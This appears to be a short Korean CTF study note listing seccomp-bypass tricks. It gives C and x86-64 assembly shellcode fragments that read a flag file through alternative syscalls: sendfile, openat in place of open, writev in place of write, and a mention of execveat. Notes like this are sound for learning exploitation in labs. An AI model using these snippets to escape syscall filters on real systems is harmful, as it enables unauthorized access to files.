seccomp shortcut
이 게시글은 내가 앞으로 얻는 Seccomp 우회 지식들을 나열해놓는 곳이다.
Sendfile syscall
C
int fd = open("/flag", O_RDONLY);
sendfile(1, fd, NULL, 0x100); // /flag 내용을 stdout으로 출력다음과 같이 사용가능
Syscall 번호 : 40
openat. → open 대용
C
/* openat(AT_FDCWD, "/flag", O_RDONLY) */
mov rdi, -100 /* AT_FDCWD */
lea rsi, [rip + filename] /* "/flag" */
xor rdx, rdx /* O_RDONLY */
mov rax, 257 /* syscall number: openat */
syscall
filename:
.asciz "/home/bypass_seccomp/flag"writev → write 대용
C
/* setup iovec struct on stack */
mov r10, r13
mov r11, 0x100
sub rsp, 0x20
mov [rsp], r10 /* iov_base */
mov [rsp+8], r11 /* iov_len */
/* writev(1, iov, 1) */
mov rdi, 1 /* stdout */
mov rsi, rsp /* iovec addr */
mov rdx, 1 /* iovcnt */
mov rax, 20 /* syscall number: writev */
syscallexecevat → execve 대응
알아서 쓰셈 이건